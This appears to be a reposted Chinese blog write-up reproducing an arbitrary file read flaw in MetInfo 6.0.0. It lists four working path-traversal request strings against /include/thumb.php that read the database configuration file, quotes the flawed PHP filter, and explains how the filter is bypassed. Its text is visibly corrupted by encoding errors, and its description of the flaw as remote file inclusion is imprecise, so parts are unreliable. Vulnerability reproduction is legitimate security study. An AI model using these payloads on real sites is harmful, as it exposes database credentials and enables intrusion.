一測(cè):/include/thumb.php?dir=..././http/..././config/config_db.php
二測(cè):/include/thumb.php?dir=.....///http/.....///config/config_db.php
三測(cè):/include/thumb.php?dir=http/.....///.....///config/config_db.php
四測(cè):/include/thumb.php?dir=http\..\..\config\config_db.php
注意:此POC?僅適用于Windows?系統(tǒng),Linux?下無(wú)效
$dir?= str_replace(array('../','./'), '',?$_GET['dir']);
if(substr(str_replace($_M['url']['site'], '',?$dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type:?image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
????????????die;
}文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-807813.html
這段代碼的主要任務(wù)是從GET參數(shù)dir中獲取圖片資源并顯示出來(lái),但在安全防護(hù)方面存在一些問(wèn)題。
首先,它嘗試通過(guò)刪除用戶輸入中的?'../'?和?'./'?字符串來(lái)阻止基本的路徑遍歷攻擊。但是這種方法并不能完全避免所有類型的路徑遍歷漏洞,因?yàn)楣粽呖赡苁褂闷渌绞嚼@過(guò)這些過(guò)濾規(guī)則。
其次,代碼檢查了?$dir?是否以?'http://'?或?'https://'?開(kāi)頭,并且不包含?'./'?字符。這么做是想防止遠(yuǎn)程文件包含(RFI)攻擊的發(fā)生,即不讓網(wǎng)站從互聯(lián)網(wǎng)上的遠(yuǎn)程URL加載和執(zhí)行文件。然而,僅僅依賴于這兩個(gè)條件判斷并不足以確保安全性,因?yàn)楣粽呖赡苡修k法繞過(guò)這種限制。
具體來(lái)說(shuō):
substr(str_replace($_M['url']['site'],?'',?$dir),0,4)?這行代碼的作用是從經(jīng)過(guò)處理的?$dir?字符串中取出前四個(gè)字符,看它們是否等于?'http'。如果?$dir?指向的是一個(gè)URL,并且該URL是以?'http://'?或?'https://'?開(kāi)始的,那么這一部分將返回?'http'。
strpos($dir,?'./')?===?false?判斷?$dir?中是否沒(méi)有?'./'?字符串。如果沒(méi)有,則表達(dá)式為真。
當(dāng)上述兩個(gè)條件都滿足時(shí),意味著?$dir?指向的是一個(gè)不包含?'./'?的遠(yuǎn)程網(wǎng)址。
最后,若這兩個(gè)條件均滿足,程序會(huì)直接輸出請(qǐng)求的資源內(nèi)容,并將其響應(yīng)類型設(shè)置為?image/jpeg,即認(rèn)為它是一個(gè)JPEG格式的圖片文件。但這樣做實(shí)際上是允許了遠(yuǎn)程文件包含,而不是阻止它,從而留下了安全隱患。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-807813.html
到了這里,關(guān)于metinfo_6.0.0 任意文件讀取漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!